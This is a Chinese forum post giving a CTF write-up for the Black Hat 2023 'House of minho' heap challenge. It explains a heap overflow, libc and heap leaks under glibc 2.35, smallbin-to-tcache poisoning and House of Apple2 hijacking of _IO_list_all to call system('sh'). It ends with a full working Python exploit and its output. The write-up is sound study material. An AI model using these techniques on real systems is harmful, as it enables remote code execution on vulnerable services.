首页
社区
课程
招聘
[原创][Black Hat 2023] Pwn House of minho 解题报告
发表于: 3小时前 147

[原创][Black Hat 2023] Pwn House of minho 解题报告

3小时前
147

**1. 题目信息 **

目标:
nc 123.57.66.184 10050

附件:

附件:
minho
main.c
Dockerfile
docker-compose.yml

最终 flag:

flag{bcddada9-b211-4c5d-8d04-282a53b2caff}

参考环境:

Ubuntu 22.04
GLIBC 2.35
PIE: enabled
NX: enabled
Canary: enabled
RELRO: Full RELRO

2.漏洞点分析
源码核心如下:

#define SIZE_SMALL 0x40
#define SIZE_BIG   0x80

char *g_buf;

case 1:
    if (getint("Size [1=small / 2=big]: ") == 1) {
        g_buf = malloc(SIZE_SMALL);
    } else {
        g_buf = malloc(SIZE_BIG);
    }

    printf("Data: ");
    read(STDIN_FILENO, g_buf, SIZE_BIG);
    g_buf[strcspn(g_buf, "\n")] = '\0';
    break;

当选择 small 时:

g_buf = malloc(0x40);

但输入时固定读入:

read(0, g_buf, 0x80);

所以 small chunk 存在堆溢出,可以覆盖后续 chunk 的 metadata,包括 size、fd、bk 等字段。

程序限制:

char *g_buf;

全局只有一个指针,delete 后会置空:

free(g_buf);
g_buf = NULL;

所以没有直接 UAF,但可以通过堆溢出、scanf 内部 malloc/realloc、tcache safe-linking 泄露与 smallbin-to-tcache 技巧完成利用。

3.利用总体思路
利用链分四段:

1. 利用 scanf 读超长输入触发 malloc/realloc/free
2. 修改 Top Chunk size,让 Top Chunk 进入 Unsorted Bin,泄露 libc
3. 通过 tcache fd 的 safe-linking key 泄露 heap base
4. 伪造 smallbin 链,触发 smallbin-to-tcache,拿任意写
5. House of Apple2 劫持 _IO_list_all,触发 system("sh")
6. 执行 cat /flag

关键 libc 偏移:

main_arena_unsorted = 0x219ce0
smallbin_0x90_head  = 0x219d60
_IO_list_all        = 0x21a680
_IO_wfile_overflow  = 0x2160d8
system              = 0x50d60

4.libc 泄露
先溢出修改 Top Chunk size:

add(1, b"a" * 0x48 + p64(0xd11))

然后向 scanf("%d%*c") 输入超长数字:

sla(b"> ", b"0" * 0xfff + b"2")

scanf 内部会分配较大的缓冲区,大致触发:

malloc(0x800);
realloc(..., 0x1000);
realloc(..., 0x2000);
free(...);

配合被修改过的 Top Chunk size,可以让旧 Top Chunk 进入 Unsorted Bin。
之后通过 small chunk 溢出覆盖并 show:

free()
add(1, b"a" * 0x50)
show()
ru(b"a" * 0x50)
libc_base = u64(io.recv(6).ljust(8, b"\x00")) - 0x219ce0

5.heap 泄露
glibc 2.35 的 tcache fd 使用 safe-linking:

encoded_fd = real_fd ^ (chunk_addr >> 12)

如果泄露 tcache 链表末尾 chunk 的 fd,由于真实 fd 为 0,所以泄露值就是:

heap_base >> 12

因此:

heap_base = leak << 12

对应利用:

free()
add(2, b"a")
free()

add(1, b"a" * 0x50)
show()
ru(b"a" * 0x50)

heap_base = u64(ru(b"\n")[:-1].ljust(8, b"\x00")) << 12

6.smallbin-to-tcache
目标是构造一个 fake smallbin 链,让 glibc 在从 smallbin 取 chunk 时,把链上的其它 chunk 自动填充进 tcache。
先构造可被合并的 fake chunk:

add(
    1,
    b"a" * 0x10
    + p64(0)
    + p64(0x31)
    + 2 * p64(heap_base + 0x2c0)
    + b"a" * 0x10
    + p64(0x30)
    + p64(0xd00)
)
free()

布置哨兵块,避免 malloc/free 检查崩溃:

add(2, b"a" * 0x50 + p64(0x90) + p64(0x10) + p64(0) + p64(0x11))
free()

把 fake chunk size 改成 smallbin 大小:

add(1, b"a" * 0x10 + p64(0) + p64(0x91))

再次用 scanf 超长输入触发 unsorted bin 遍历,使 fake chunk 进入 smallbin:

sla(b"> ", b"0" * 0xfff + b"2")

然后伪造 smallbin bk 链:

add(1, flat_list([
    0, 0,
    0, 0x91, heap_base + 0x2c0, heap_base + 0x2c0 + 0x20,
    0, 0x91, heap_base + 0x2c0, heap_base + 0x2c0 + 0x40,
    0, 0x91, heap_base + 0x2c0 + 0x20, libc_base + 0x219d60,
]))
free()

触发 smallbin-to-tcache:

add(2, b"a")
free()

此时可以进行 tcache poisoning,获得一次写 libc 地址的机会。
7.House of Apple2
由于 Full RELRO,不能改 GOT。这里选择劫持:

_IO_list_all

构造 fake _IO_FILE_plus,让程序 exit 时触发:

exit
 -> _IO_flush_all_lockp
 -> _IO_wfile_overflow
 -> system("sh")

关键字段:

wide_data_off = 0xa0
vtable_off = 0xd8
wide_data_vtable_off = 0xe0

_IO_wfile_overflow_ptr = libc_base + 0x2160d8
_IO_list_all = libc_base + 0x21a680
system = libc_base + 0x50d60

写入 fake FILE:

add(2, flat_dict({
    0x10: b"  sh;",
    0x38: system,
    0x68: 0x71,
    0x70: _IO_list_all ^ (heap_base >> 12),
}, filler=b"\x00"))

继续补齐 wide_data 和 vtable:

add(2, flat_dict({
    wide_data_off - 0x60: heap_base + 0x2e0 + 0xd0 - wide_data_vtable_off,
    0xd0 - 0x60: heap_base + 0x2e0 + 0x28 - do_alloc_off,
    vtable_off - 0x60: _IO_wfile_overflow_ptr - __overflow_off,
}, filler=b"\x00"))

最后劫持 _IO_list_all:

add(2, p64(heap_base + 0x2e0))

退出触发:

sla(b"> ", b"4")

8.完整 exploit
保存为:

exp_minho_pure.py

运行:

python3 exp_minho_pure.py 123.57.66.184 10050 --cmd "cat /flag; echo DONE"

完整代码:

import socket, struct, time, argparse

MASK64 = (1 << 64) - 1

def p64(x): return struct.pack("<Q", x & MASK64)
def u64(b): return struct.unpack("<Q", b.ljust(8, b"\x00")[:8])[0]

def flat_list(items):
    out = b""
    for x in items:
        out += p64(x) if isinstance(x, int) else x
    return out

def flat_dict(d, filler=b"\x00"):
    maxlen = 0
    vals = []
    for off, val in d.items():
        b = p64(val) if isinstance(val, int) else val
        vals.append((off, b))
        maxlen = max(maxlen, off + len(b))

    out = bytearray(filler[:1] * maxlen)
    for off, b in vals:
        out[off:off + len(b)] = b
    return bytes(out)

class Tube:
    def __init__(self, host, port, timeout=12):
        self.s = socket.create_connection((host, port), timeout=timeout)
        self.s.settimeout(timeout)
        self.buf = b""

    def recv(self, n=4096):
        if self.buf:
            b = self.buf[:n]
            self.buf = self.buf[n:]
            return b
        return self.s.recv(n)

    def recvuntil(self, delim, drop=False):
        while delim not in self.buf:
            chunk = self.s.recv(4096)
            if not chunk:
                break
            self.buf += chunk

        idx = self.buf.find(delim)
        if idx >= 0:
            end = idx + len(delim)
            out = self.buf[:idx if drop else end]
            self.buf = self.buf[end:]
            return out

        out = self.buf
        self.buf = b""
        return out

    def send(self, b):
        if isinstance(b, str):
            b = b.encode()
        self.s.sendall(b)

    def sendline(self, b):
        if isinstance(b, str):
            b = b.encode()
        self.send(b + b"\n")

    def sendafter(self, delim, b):
        self.recvuntil(delim)
        self.send(b)

    def sendlineafter(self, delim, b):
        self.recvuntil(delim)
        self.sendline(b)

    def clean(self, timeout=0.5):
        old = self.s.gettimeout()
        self.s.settimeout(timeout)
        out = self.buf
        self.buf = b""
        while True:
            try:
                c = self.s.recv(4096)
                if not c:
                    break
                out += c
            except socket.timeout:
                break
        self.s.settimeout(old)
        return out

def exploit(host, port, cmd):
    io = Tube(host, port)

    ru = io.recvuntil
    sla = io.sendlineafter
    sa = io.sendafter

    def add(size, content):
        sla(b"> ", b"1")
        sla(b"Size [1=small / 2=big]: ", str(size).encode())
        sa(b"Data: ", content)

    def show():
        sla(b"> ", b"2")

    def free():
        sla(b"> ", b"3")

    sla(b"> ", b"0" * 0xd58 + b"3")

    add(1, b"a" * 0x48 + p64(0xd11))
    sla(b"> ", b"0" * 0xfff + b"2")

    free()
    add(1, b"a" * 0x50)
    show()
    ru(b"a" * 0x50)

    libc_base = u64(io.recv(6)) - 0x219ce0
    print("[+] libc_base =", hex(libc_base))

    free()
    add(1, b"a" * 0x48 + p64(0xcf1))

    free()
    add(2, b"a")
    free()

    add(1, b"a" * 0x50)
    show()
    ru(b"a" * 0x50)

    heap_base = u64(ru(b"\n", drop=True)) << 12
    print("[+] heap_base =", hex(heap_base))

    free()

    add(
        1,
        b"a" * 0x10
        + p64(0)
        + p64(0x31)
        + 2 * p64(heap_base + 0x2c0)
        + b"a" * 0x10
        + p64(0x30)
        + p64(0xd00)
    )
    free()

    add(2, b"a" * 0x50 + p64(0x90) + p64(0x10) + p64(0) + p64(0x11))
    free()

    add(1, b"a" * 0x10 + p64(0) + p64(0x91))
    sla(b"> ", b"0" * 0xfff + b"2")

    free()

    add(1, flat_list([
        0, 0,
        0, 0x91, heap_base + 0x2c0, heap_base + 0x2c0 + 0x20,
        0, 0x91, heap_base + 0x2c0, heap_base + 0x2c0 + 0x40,
        0, 0x91, heap_base + 0x2c0 + 0x20, libc_base + 0x219d60,
    ]))
    free()

    add(2, b"a")
    free()

    wide_data_off = 0xa0
    vtable_off = 0xd8
    wide_data_vtable_off = 0xe0

    _IO_wfile_overflow_ptr = libc_base + 0x2160d8
    __overflow_off = 0x18
    do_alloc_off = 0x68

    _IO_list_all = libc_base + 0x21a680
    system = libc_base + 0x50d60

    add(
        1,
        b"a" * 0x10
        + p64(0)
        + p64(0x71)
        + p64((heap_base + 0x2d0 + 0x70) ^ (heap_base >> 12))
    )
    free()

    add(2, flat_dict({
        0x10: b"  sh;",
        0x38: system,
        0x68: 0x71,
        0x70: _IO_list_all ^ (heap_base >> 12),
    }))
    free()

    add(2, flat_dict({
        wide_data_off - 0x60: heap_base + 0x2e0 + 0xd0 - wide_data_vtable_off,
        0xd0 - 0x60: heap_base + 0x2e0 + 0x28 - do_alloc_off,
        vtable_off - 0x60: _IO_wfile_overflow_ptr - __overflow_off,
    }))
    free()

    add(2, p64(heap_base + 0x2e0))

    sla(b"> ", b"4")

    time.sleep(0.5)
    print("[+] trigger:", repr(io.clean()))

    io.sendline(cmd)

    out = b""
    end = time.time() + 5
    while time.time() < end:
        try:
            chunk = io.s.recv(4096)
            if not chunk:
                break
            out += chunk
            if b"DONE" in out:
                break
        except socket.timeout:
            break

    print(out.decode("latin-1", "replace"))

if __name__ == "__main__":
    ap = argparse.ArgumentParser()
    ap.add_argument("host", nargs="?", default="123.57.66.184")
    ap.add_argument("port", nargs="?", type=int, default=10050)
    ap.add_argument("--cmd", default="cat /flag; echo DONE")
    args = ap.parse_args()

    exploit(args.host, args.port, args.cmd.encode())

9.结果
执行:

python3 exp_minho_pure.py 123.57.66.184 10050 --cmd "cat /flag; echo DONE"

输出:

[+] libc_base = 0x...
[+] heap_base = 0x...
[+] trigger: b'[+] Bye!\n'
flag{bcddada9-b211-4c5d-8d04-282a53b2caff}
DONE

[内核课程]《Windows内核攻防实战》!从零到实战,融合AI与Windows内核攻防全技术栈,打造具备自动化能力的内核开发高手。

收藏
免费 0
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回